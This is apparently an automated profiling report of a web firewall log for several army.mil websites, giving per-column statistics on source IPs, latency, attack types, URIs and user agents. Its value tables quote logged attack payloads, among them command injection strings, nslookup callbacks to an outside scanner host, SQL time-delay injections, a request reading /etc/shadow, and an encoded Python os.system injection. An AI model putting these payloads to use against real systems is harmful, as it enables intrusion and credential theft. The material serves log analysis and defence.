echo%20ollwmg$()\%20ontenc\nz^xyu\|\|a%20#'%20&echo%20ollwmg$()\%20ontenc\nz^xyu\|\|a%20#\|%22%20&echo%20ollwmg$()\%20ontenc\nz^xyu\|\|a%20#	3
`(nslookup%20hiticoeudwuxn9f52e.bxss.me\|\|perl%20-e%20%22gethostbyname('hiticoeudwuxn9f52e.bxss.me')%22)`	1
pTalkf5e'));%20waitfor%20delay%20'0:0:12'%20--	1
Other values (1767)	1767

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
${@print(md5(31337))}	149	0.3%
${@print(md5(31337))}\	149	0.3%
echo%20ollwmg$()\%20ontenc\nz^xyu\|\|a%20#'%20&echo%20ollwmg$()\%20ontenc\nz^xyu\|\|a%20#\|%22%20&echo%20ollwmg$()\%20ontenc\nz^xyu\|\|a%20#	3	< 0.1%
`(nslookup%20hiticoeudwuxn9f52e.bxss.me\|\|perl%20-e%20%22gethostbyname('hiticoeudwuxn9f52e.bxss.me')%22)`	1	< 0.1%
pTalkf5e'));%20waitfor%20delay%20'0:0:12'%20--	1	< 0.1%
ygDBHVSN');%20waitfor%20delay%20'0:0:12'%20--	1	< 0.1%
echo%20jbrwta$()\%20wvrynj\nz^xyu\|\|a%20#'%20&echo%20jbrwta$()\%20wvrynj\nz^xyu\|\|a%20#\|%22%20&echo%20jbrwta$()\%20wvrynj\nz^xyu\|\|a%20#	1	< 0.1%
$(nslookup%20hitbwxinojwoj04322.bxss.me\|\|perl%20-e%20%22gethostbyname('hitbwxinojwoj04322.bxss.me')%22)	1	< 0.1%
`(nslookup%20hiteaugvreicc6f8c1.bxss.me\|\|perl%20-e%20%22gethostbyname('hiteaugvreicc6f8c1.bxss.me')%22)`	1	< 0.1%
32LAZ6CP';%20waitfor%20delay%20'0:0:12'%20--	1	< 0.1%
Other values (1762)	1762	4.0%
(Missing)	42283	95.3%

Frequencies of value counts

Unique

Unique	1769 ?
Unique (%)	85.5%

Histogram of lengths of the category

Length

Max length	309
Median length	3
Mean length	7.944558429
Min length	3

IP_SERVER
Categorical

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

143.84.8.2	44353

Frequencies
Length

Value	Count	Frequency (%)
143.84.8.2	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	10
Median length	10
Mean length	10
Min length	10

IP_SRC
Categorical

HIGH CARDINALITY

Distinct	353
Distinct (%)	0.8%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

35.201.230.163	32669
139.59.78.47	699
123.136.115.6	647
172.125.224.94	599
193.148.18.35	547
Other values (348)	9192

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
35.201.230.163	32669	73.7%
139.59.78.47	699	1.6%
123.136.115.6	647	1.5%
172.125.224.94	599	1.4%
193.148.18.35	547	1.2%
167.99.188.179	501	1.1%
138.68.29.241	497	1.1%
167.71.234.85	460	1.0%
93.115.18.213	453	1.0%
70.27.174.205	385	0.9%
Other values (343)	6896	15.5%

Frequencies of value counts

Unique

Unique	118 ?
Unique (%)	0.3%

Histogram of lengths of the category

Length

Max length	15
Median length	14
Mean length	13.77976687
Min length	10

LATENCY
Real number (ℝ_≥0)

HIGH CORRELATION
MISSING
SKEWED

Distinct	3074
Distinct (%)	8.0%
Missing	5889
Missing (%)	13.3%
Infinite	0
Infinite (%)	0.0%

Mean	501.4412698
Minimum	1
Maximum	357720
Zeros	0
Zeros (%)	0.0%
Memory size	346.5 KiB

Quantile statistics

Minimum	1
5-th percentile	2
Q1	8
median	14
Q3	33
95-th percentile	1775.85
Maximum	357720
Range	357719
Interquartile range (IQR)	25

Descriptive statistics

Standard deviation	6175.25248
Coefficient of variation (CV)	12.31500647
Kurtosis	1106.177313
Mean	501.4412698
Median Absolute Deviation (MAD)	9
Skewness	31.60678497
Sum	19287437
Variance	38133743.19
Monotocity	Not monotonic

Histogram with fixed size bins (bins=50)

Value	Count	Frequency (%)
13	4313	9.7%
14	2158	4.9%
2	1900	4.3%
12	1775	4.0%
4	1436	3.2%
7	1266	2.9%
15	1215	2.7%
6	1212	2.7%
5	1164	2.6%
3	1063	2.4%
Other values (3064)	20962	47.3%
(Missing)	5889	13.3%

Minimum 5 values
Maximum 5 values

Value	Count	Frequency (%)
1	907	2.0%
2	1900	4.3%
3	1063	2.4%
4	1436	3.2%
5	1164	2.6%

Value	Count	Frequency (%)
357720	1	< 0.1%
227704	1	< 0.1%
227687	1	< 0.1%
217494	1	< 0.1%
217453	1	< 0.1%

LATITUDE_SERVER
Categorical

CONSTANT
HIGH CORRELATION
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

31.567824	44353

Frequencies
Length

Value	Count	Frequency (%)
31.567824	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	18
Median length	18
Mean length	18
Min length	18

LATITUDE_SRC
Real number (ℝ)

Distinct	250
Distinct (%)	0.6%
Missing	7
Missing (%)	< 0.1%
Infinite	0
Infinite (%)	0.0%

Mean	26.02024439
Minimum	-37.744
Maximum	64.8276
Zeros	0
Zeros (%)	0.0%
Memory size	346.5 KiB

Quantile statistics

Minimum	-37.744
5-th percentile	12.9719
Q1	25.0478
median	25.0478
Q3	25.0478
95-th percentile	43.6547
Maximum	64.8276
Range	102.5716
Interquartile range (IQR)	0

Descriptive statistics

Standard deviation	11.11253987
Coefficient of variation (CV)	0.4270728475
Kurtosis	10.20571086
Mean	26.02024439
Median Absolute Deviation (MAD)	0
Skewness	-1.767719684
Sum	1153893.758
Variance	123.4885423
Monotocity	Not monotonic

Histogram with fixed size bins (bins=50)

Value	Count	Frequency (%)
25.0478	32669	73.7%
37.3417	866	2.0%
12.9721	720	1.6%
3.1393	647	1.5%
29.5531	599	1.4%
40.7157	547	1.2%
-30.1156	546	1.2%
12.9719	523	1.2%
43.6547	501	1.1%
52.5275	453	1.0%
Other values (240)	6275	14.1%

Minimum 5 values
Maximum 5 values

Value	Count	Frequency (%)
-37.744	2	< 0.1%
-34.7667	7	< 0.1%
-33.8884	51	0.1%
-33.8591	28	0.1%
-30.1156	546	1.2%

Value	Count	Frequency (%)
64.8276	5	< 0.1%
60.1717	18	< 0.1%
60.1708	24	0.1%
59.8666	5	< 0.1%
59.4032	1	< 0.1%

LOCAL_TIMESTAMP
Categorical

HIGH CARDINALITY

Distinct	19141
Distinct (%)	43.2%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

2020-09-01T02:14:36-03:00[America/Sao_Paulo]	109
2020-08-07T04:57:37-04:00[America/New_York]	56
2020-09-01T02:14:31-03:00[America/Sao_Paulo]	46
2020-09-01T23:23:03-04:00[America/Toronto]	46
2020-09-01T00:25:06-03:00[America/Sao_Paulo]	46
Other values (19136)	44050

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
2020-09-01T02:14:36-03:00[America/Sao_Paulo]	109	0.2%
2020-08-07T04:57:37-04:00[America/New_York]	56	0.1%
2020-09-01T02:14:31-03:00[America/Sao_Paulo]	46	0.1%
2020-09-01T23:23:03-04:00[America/Toronto]	46	0.1%
2020-09-01T00:25:06-03:00[America/Sao_Paulo]	46	0.1%
2020-09-04T06:57:14+05:30[Asia/Kolkata]	45	0.1%
2020-09-04T06:56:36+05:30[Asia/Kolkata]	45	0.1%
2020-09-03T09:30:47+05:30[Asia/Kolkata]	45	0.1%
2020-09-02T00:29:50-04:00[America/Toronto]	45	0.1%
2020-09-03T02:44:13-04:00[America/Toronto]	44	0.1%
Other values (19131)	43826	98.8%

Frequencies of value counts

Unique

Unique	9266 ?
Unique (%)	20.9%

Histogram of lengths of the category

Length

Max length	57
Median length	38
Mean length	39.05066174
Min length	34

LONGITUDE_SERVER
Categorical

CONSTANT
HIGH CORRELATION
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

-110.376817	44353

Frequencies
Length

Value	Count	Frequency (%)
-110.376817	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	19
Median length	19
Mean length	19
Min length	19

LONGITUDE_SRC
Real number (ℝ)

Distinct	250
Distinct (%)	0.6%
Missing	7
Missing (%)	< 0.1%
Infinite	0
Infinite (%)	0.0%

Mean	82.30450888
Minimum	-158.5996
Maximum	151.2118
Zeros	0
Zeros (%)	0.0%
Memory size	346.5 KiB

Quantile statistics

Minimum	-158.5996
5-th percentile	-98.3598
Q1	105.8516
median	121.5318
Q3	121.5318
95-th percentile	121.5318
Maximum	151.2118
Range	309.8114
Interquartile range (IQR)	15.6802

Descriptive statistics

Standard deviation	77.12676849
Coefficient of variation (CV)	0.9370904405
Kurtosis	1.16142238
Mean	82.30450888
Median Absolute Deviation (MAD)	0
Skewness	-1.689309886
Sum	3649875.751
Variance	5948.538418
Monotocity	Not monotonic

Histogram with fixed size bins (bins=50)

Value	Count	Frequency (%)
121.5318	32669	73.7%
-121.9753	866	2.0%
77.5933	720	1.6%
101.7008	647	1.5%
-98.3598	599	1.4%
-74	547	1.2%
-51.1653	546	1.2%
77.5937	523	1.2%
-79.3623	501	1.1%
5.727	453	1.0%
Other values (240)	6275	14.1%

Minimum 5 values
Maximum 5 values

Value	Count	Frequency (%)
-158.5996	5	< 0.1%
-158.0435	13	< 0.1%
-158.0419	3	< 0.1%
-158.0193	4	< 0.1%
-158.0181	9	< 0.1%

Value	Count	Frequency (%)
151.2118	51	0.1%
151.2002	28	0.1%
144.9682	2	< 0.1%
127.3667	13	< 0.1%
127.1396	64	0.1%

MILLISECONDS_TIMETAKEN
Real number (ℝ_≥0)

HIGH CORRELATION
SKEWED

Distinct	3703
Distinct (%)	8.3%
Missing	0
Missing (%)	0.0%
Infinite	0
Infinite (%)	0.0%

Mean	1038.579172
Minimum	1
Maximum	461412
Zeros	0
Zeros (%)	0.0%
Memory size	346.5 KiB

Quantile statistics

Minimum	1
5-th percentile	5
Q1	15
median	219
Q3	437
95-th percentile	2116.4
Maximum	461412
Range	461411
Interquartile range (IQR)	422

Descriptive statistics

Standard deviation	9530.059033
Coefficient of variation (CV)	9.176054453
Kurtosis	495.3748792
Mean	1038.579172
Median Absolute Deviation (MAD)	205
Skewness	20.11714612
Sum	46064102
Variance	90822025.17
Monotocity	Not monotonic

Histogram with fixed size bins (bins=50)

Value	Count	Frequency (%)
16	2505	5.6%
4	1530	3.4%
5	1200	2.7%
17	1115	2.5%
6	1048	2.4%
10	998	2.3%
9	969	2.2%
11	894	2.0%
8	810	1.8%
7	789	1.8%
Other values (3693)	32495	73.3%

Minimum 5 values
Maximum 5 values

Value	Count	Frequency (%)
1	126	0.3%
2	167	0.4%
3	320	0.7%
4	1530	3.4%
5	1200	2.7%

Value	Count	Frequency (%)
461412	1	< 0.1%
374641	1	< 0.1%
305930	1	< 0.1%
281751	1	< 0.1%
278168	1	< 0.1%

ORGANIZATION_OWNER_SERVER
Categorical

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

HQ, 7TH SIGNAL COMMAND	44353

Frequencies
Length

Value	Count	Frequency (%)
HQ, 7TH SIGNAL COMMAND	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	22
Median length	22
Mean length	22
Min length	22

OUTBOUNDINTERFACE_DEVICE
Categorical

MISSING

Distinct	17
Distinct (%)	0.8%
Missing	42193
Missing (%)	95.1%
Memory size	346.5 KiB

143.84.8.62	613
143.84.8.65	328
143.84.8.115	209
143.84.8.31	172
143.84.8.130	117
Other values (12)	721

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
143.84.8.62	613	1.4%
143.84.8.65	328	0.7%
143.84.8.115	209	0.5%
143.84.8.31	172	0.4%
143.84.8.130	117	0.3%
143.84.8.56	117	0.3%
143.84.8.27	114	0.3%
143.84.8.15	108	0.2%
143.84.8.72	62	0.1%
143.84.8.101	60	0.1%
Other values (7)	260	0.6%
(Missing)	42193	95.1%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	12
Median length	3
Mean length	3.39819178
Min length	3

OUTCOME_POLICYVERDICT_BCSGOS
Categorical

MISSING

Distinct	6
Distinct (%)	0.1%
Missing	38726
Missing (%)	87.3%
Memory size	346.5 KiB

policy_redirect	2924
policy_denied	1215
invalid_request	960
gateway_error	305
tcp_error	166

Frequencies
Length

Value	Count	Frequency (%)
policy_redirect	2924	6.6%
policy_denied	1215	2.7%
invalid_request	960	2.2%
gateway_error	305	0.7%
tcp_error	166	0.4%
ssl_failed	57	0.1%
(Missing)	38726	87.3%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	15
Median length	3
Mean length	4.424999436
Min length	3

PORT_DST
Categorical

Distinct	2
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

443	40867
80	3486

Frequencies
Length

Value	Count	Frequency (%)
443	40867	92.1%
80	3486	7.9%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	3
Median length	3
Mean length	2.921403287
Min length	2

PRODUCTNAME
Categorical

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

SGOS 6.7.4.7	44353

Frequencies
Length

Value	Count	Frequency (%)
SGOS 6.7.4.7	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	12
Median length	12
Mean length	12
Min length	12

REMARK_PROXSYSG
Categorical

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	44353

Frequencies
Length

Value	Count	Frequency (%)
1714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	53
Median length	53
Mean length	53
Min length	53

SCORE_BLUECOATWAF
Real number (ℝ_≥0)

ZEROS

Distinct	18
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Infinite	0
Infinite (%)	0.0%

Mean	16.38243185
Minimum	0
Maximum	450
Zeros	5378
Zeros (%)	12.1%
Memory size	346.5 KiB

Quantile statistics

Minimum	0
5-th percentile	0
Q1	10
median	20
Q3	20
95-th percentile	30
Maximum	450
Range	450
Interquartile range (IQR)	10

Descriptive statistics

Standard deviation	17.70727409
Coefficient of variation (CV)	1.080869693
Kurtosis	166.1343722
Mean	16.38243185
Median Absolute Deviation (MAD)	10
Skewness	9.340893637
Sum	726610
Variance	313.5475557
Monotocity	Not monotonic

Histogram with fixed size bins (bins=18)

Value	Count	Frequency (%)
20	17876	40.3%
10	16622	37.5%
0	5378	12.1%
30	3519	7.9%
140	356	0.8%
40	199	0.4%
50	122	0.3%
100	86	0.2%
110	76	0.2%
60	52	0.1%
Other values (8)	67	0.2%

Minimum 5 values
Maximum 5 values

Value	Count	Frequency (%)
0	5378	12.1%
10	16622	37.5%
20	17876	40.3%
30	3519	7.9%
40	199	0.4%

Value	Count	Frequency (%)
450	18	< 0.1%
170	1	< 0.1%
160	11	< 0.1%
150	2	< 0.1%
140	356	0.8%

SITE_COLLECTION
Categorical

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

ROCK	44353

Frequencies
Length

Value	Count	Frequency (%)
ROCK	44353	100.0%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	4
Median length	4
Mean length	4
Min length	4

TYPE_ATTACK
Categorical

HIGH CARDINALITY

Distinct	99
Distinct (%)	0.2%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

Command Injection	22276
SQL Injection;Command Injection	4938
Cross-Site Scripting;Command Injection	2653
Command Injection;Other	2380
Command Injection;Other;SQL Injection	1606
Other values (94)	10500

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
Command Injection	22276	50.2%
SQL Injection;Command Injection	4938	11.1%
Cross-Site Scripting;Command Injection	2653	6.0%
Command Injection;Other	2380	5.4%
Command Injection;Other;SQL Injection	1606	3.6%
SQL Injection;Command Injection;Other	1176	2.7%
Cross-Site Scripting;Command Injection;Information Disclosure	1171	2.6%
SQL Injection;Cross-Site Scripting;Command Injection	989	2.2%
Multiple Encoding;Command Injection	964	2.2%
Directory Traversal;File Disclosure ;Command Injection;Local File Inclusion	863	1.9%
Other values (89)	5337	12.0%

Frequencies of value counts

Unique

Unique	15 ?
Unique (%)	< 0.1%

Histogram of lengths of the category

Length

Max length	125
Median length	17
Mean length	29.07485401
Min length	17

URI_EXTENSION
Categorical

HIGH CARDINALITY
MISSING

Distinct	73
Distinct (%)	0.3%
Missing	17018
Missing (%)	38.4%
Memory size	346.5 KiB

aspx	18312
js	2562
php	1924
css	712
htm	664
Other values (68)	3161

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
aspx	18312	41.3%
js	2562	5.8%
php	1924	4.3%
css	712	1.6%
htm	664	1.5%
png	658	1.5%
html	374	0.8%
axd	371	0.8%
jpg	239	0.5%
gif	160	0.4%
Other values (63)	1359	3.1%
(Missing)	17018	38.4%

Frequencies of value counts

Unique

Unique	10 ?
Unique (%)	< 0.1%

Histogram of lengths of the category

Length

Max length	44
Median length	3
Mean length	3.475165152
Min length	1

URI_PATH
Categorical

HIGH CARDINALITY

Distinct	5718
Distinct (%)	12.9%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

/_vti_bin/client.svc/ProcessQuery	1679
/	1380
/arsouth-newcomers/_vti_bin/client.svc/ProcessQuery	1267
/aboutus/_vti_bin/client.svc/ProcessQuery	1267
/Leadership/_vti_bin/client.svc/ProcessQuery	1267
Other values (5713)	37493

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
/_vti_bin/client.svc/ProcessQuery	1679	3.8%
/	1380	3.1%
/arsouth-newcomers/_vti_bin/client.svc/ProcessQuery	1267	2.9%
/aboutus/_vti_bin/client.svc/ProcessQuery	1267	2.9%
/Leadership/_vti_bin/client.svc/ProcessQuery	1267	2.9%
/index.aspx	927	2.1%
/contact.aspx	703	1.6%
/Pages/PageNotFoundError.aspx	688	1.6%
/api/jsonws/invoke	613	1.4%
/Mobile/IrcContactForm.htm	463	1.0%
Other values (5708)	34099	76.9%

Frequencies of value counts

Unique

Unique	4760 ?
Unique (%)	10.7%

Histogram of lengths of the category

Length

Max length	389
Median length	35
Mean length	46.27889883
Min length	1

URI_QUERY
Categorical

HIGH CARDINALITY
MISSING

Distinct	4150
Distinct (%)	33.8%
Missing	32092
Missing (%)	72.4%
Memory size	346.5 KiB

?TermId=e3404bb8-e3ed-4c9c-82b3-f1f145779475&TermSetId=7e33f6cb-ca3b-4a32-a184-f50fa157e38c&TermStoreId=857ce9f8-b31f-4fe2-b159-736ac47ac409	598
?TermId=ac999aa3-754c-4080-ac99-4c440ec44b2e&TermSetId=7e33f6cb-ca3b-4a32-a184-f50fa157e38c&TermStoreId=857ce9f8-b31f-4fe2-b159-736ac47ac409	598
?r=1	559
?lang=en	463
?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5	403
Other values (4145)	9640

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
?TermId=e3404bb8-e3ed-4c9c-82b3-f1f145779475&TermSetId=7e33f6cb-ca3b-4a32-a184-f50fa157e38c&TermStoreId=857ce9f8-b31f-4fe2-b159-736ac47ac409	598	1.3%
?TermId=ac999aa3-754c-4080-ac99-4c440ec44b2e&TermSetId=7e33f6cb-ca3b-4a32-a184-f50fa157e38c&TermStoreId=857ce9f8-b31f-4fe2-b159-736ac47ac409	598	1.3%
?r=1	559	1.3%
?lang=en	463	1.0%
?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5	403	0.9%
?type=kitrace&pid=1%3Becho%20%22bm9uZXhpc3RlbnQ%3D%22%20%7C%20base64%20-d	350	0.8%
?cmd=cat%20/etc/shadow	302	0.7%
?TermId=d17ae0d8-fe39-450b-9bd9-c3fd42ce2299&TermSetId=7e33f6cb-ca3b-4a32-a184-f50fa157e38c&TermStoreId=857ce9f8-b31f-4fe2-b159-736ac47ac409	299	0.7%
?requestUrl=https://www.arsouth.army.mil/NoFearAct.aspx	299	0.7%
?TermId=2fe53341-11de-4e0a-9889-3ba58cd1c955&TermSetId=7e33f6cb-ca3b-4a32-a184-f50fa157e38c&TermStoreId=857ce9f8-b31f-4fe2-b159-736ac47ac409	299	0.7%
Other values (4140)	8091	18.2%
(Missing)	32092	72.4%

Frequencies of value counts

Unique

Unique	3916 ?
Unique (%)	31.9%

Histogram of lengths of the category

Length

Max length	11402
Median length	3
Mean length	50.68944604
Min length	1

URI_SCHEME
Categorical

Distinct	2
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

https	40867
http	3486

Frequencies
Length

Value	Count	Frequency (%)
https	40867	92.1%
http	3486	7.9%

Frequencies of value counts

Unique

Unique	0 ?
Unique (%)	0.0%

Histogram of lengths of the category

Length

Max length	5
Median length	5
Mean length	4.921403287
Min length	4

URL_REFERRER
Categorical

HIGH CARDINALITY
MISSING

Distinct	2082
Distinct (%)	11.3%
Missing	25975
Missing (%)	58.6%
Memory size	346.5 KiB

https://www.google.com/search?hl=en&q=testing	4716
https://www.first.army.mil/	3487
https://www.arsouth.army.mil/	2629
https://jacks.jpeocbd.army.mil/	804
https://www.jpeocbrnd.osd.mil/	496
Other values (2077)	6246

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
https://www.google.com/search?hl=en&q=testing	4716	10.6%
https://www.first.army.mil/	3487	7.9%
https://www.arsouth.army.mil/	2629	5.9%
https://jacks.jpeocbd.army.mil/	804	1.8%
https://www.jpeocbrnd.osd.mil/	496	1.1%
https://www.arsouth.army.mil/covid19/Pages/default.aspx	364	0.8%
https://apps.aschq.army.mil/AFT/aftdocs.aspx?ro=false	272	0.6%
https://www.jpeocbrnd.osd.mil/coronavirus	259	0.6%
https://jackspublic.jpeocbd.army.mil/	213	0.5%
https://www.first.army.mil/divwest/css/1A.css	185	0.4%
Other values (2072)	4953	11.2%
(Missing)	25975	58.6%

Frequencies of value counts

Unique

Unique	1896 ?
Unique (%)	10.3%

Histogram of lengths of the category

Length

Max length	1523
Median length	3
Mean length	22.93772687
Min length	3

USERAGENT
Categorical

HIGH CARDINALITY

Distinct	1937
Distinct (%)	4.4%
Missing	44
Missing (%)	0.1%
Memory size	346.5 KiB

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36	31248
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55	2801
Nuclei - Open-source project (github.com/projectdiscovery/nuclei)	1871
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)	754
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	719
Other values (1932)	6916

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36	31248	70.5%
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55	2801	6.3%
Nuclei - Open-source project (github.com/projectdiscovery/nuclei)	1871	4.2%
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)	754	1.7%
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36	719	1.6%
Mozilla/5.0 (Linux; Android 5.1; OPPO A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.81 Mobile Safari/537.36	648	1.5%
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36	463	1.0%
Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0	287	0.6%
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36	245	0.6%
Fuzz Faster U Fool v1.1.0-git	240	0.5%
Other values (1927)	5033	11.3%

Frequencies of value counts

Unique

Unique	1828 ?
Unique (%)	4.1%

Histogram of lengths of the category

Length

Max length	357
Median length	115
Mean length	106.6774288
Min length	3

UUID_BLUECOATTRANS
Categorical

UNIQUE

Distinct	44353
Distinct (%)	100.0%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

67b1b39f24a80d5d-00000000a0a47cb2-000000005f3cb394	1
67b1b39f24a80d5d-00000000a0a6f9d9-000000005f3cd521	1
67b1b39f24a80d5d-00000000a095044c-000000005f3b95fa	1
67b1b39f24a80d5d-00000000a0a360d8-000000005f3ca036	1
67b1b39f24a80d5d-00000000a0a6e1d3-000000005f3cd43d	1
Other values (44348)	44348

Frequencies
Length

Common Values
Overview

Value	Count	Frequency (%)
67b1b39f24a80d5d-00000000a0a47cb2-000000005f3cb394	1	< 0.1%
67b1b39f24a80d5d-00000000a0a6f9d9-000000005f3cd521	1	< 0.1%
67b1b39f24a80d5d-00000000a095044c-000000005f3b95fa	1	< 0.1%
67b1b39f24a80d5d-00000000a0a360d8-000000005f3ca036	1	< 0.1%
67b1b39f24a80d5d-00000000a0a6e1d3-000000005f3cd43d	1	< 0.1%
67b1b39f24a80d5d-00000000a0a5db7d-000000005f3cc5f6	1	< 0.1%
67b1b39f24a80d5d-00000000a0a4a673-000000005f3cb666	1	< 0.1%
67b1b39f24a80d5d-00000000a0a41d6d-000000005f3ca800	1	< 0.1%
67b1b39f24a80d5d-00000000a271cf20-000000005f4d8d13	1	< 0.1%
67b1b39f24a80d5d-00000000a0a7eea0-000000005f3cdeea	1	< 0.1%
Other values (44343)	44343	> 99.9%

Frequencies of value counts

Unique

Unique	44353 ?
Unique (%)	100.0%

Histogram of lengths of the category

Length

Max length	50
Median length	50
Mean length	50
Min length	50

VERSION_ELFFLOGTYPE
Boolean

CONSTANT
REJECTED

Distinct	1
Distinct (%)	< 0.1%
Missing	0
Missing (%)	0.0%
Memory size	346.5 KiB

1	44353

Common Values
Chart

Value	Count	Frequency (%)
1	44353	100.0%

Pearson's r

The Pearson's correlation coefficient (r) is a measure of linear correlation between two variables. It's value lies between -1 and +1, -1 indicating total negative linear correlation, 0 indicating no linear correlation and 1 indicating total positive linear correlation. Furthermore, r is invariant under separate changes in location and scale of the two variables, implying that for a linear function the angle to the x-axis does not affect r.

To calculate r for two variables X and Y, one divides the covariance of X and Y by the product of their standard deviations.

Spearman's ρ

The Spearman's rank correlation coefficient (ρ) is a measure of monotonic correlation between two variables, and is therefore better in catching nonlinear monotonic correlations than Pearson's r. It's value lies between -1 and +1, -1 indicating total negative monotonic correlation, 0 indicating no monotonic correlation and 1 indicating total positive monotonic correlation.

To calculate ρ for two variables X and Y, one divides the covariance of the rank variables of X and Y by the product of their standard deviations.

Kendall's τ

Similarly to Spearman's rank correlation coefficient, the Kendall rank correlation coefficient (τ) measures ordinal association between two variables. It's value lies between -1 and +1, -1 indicating total negative correlation, 0 indicating no correlation and 1 indicating total positive correlation.

To calculate τ for two variables X and Y, one determines the number of concordant and discordant pairs of observations. τ is given by the number of concordant pairs minus the discordant pairs divided by the total number of pairs.

Phik (φk)

Phik (φk) is a new and practical correlation coefficient that works consistently between categorical, ordinal and interval variables, captures non-linear dependency and reverts to the Pearson correlation coefficient in case of a bivariate normal input distribution. There is extensive documentation available here.

First rows

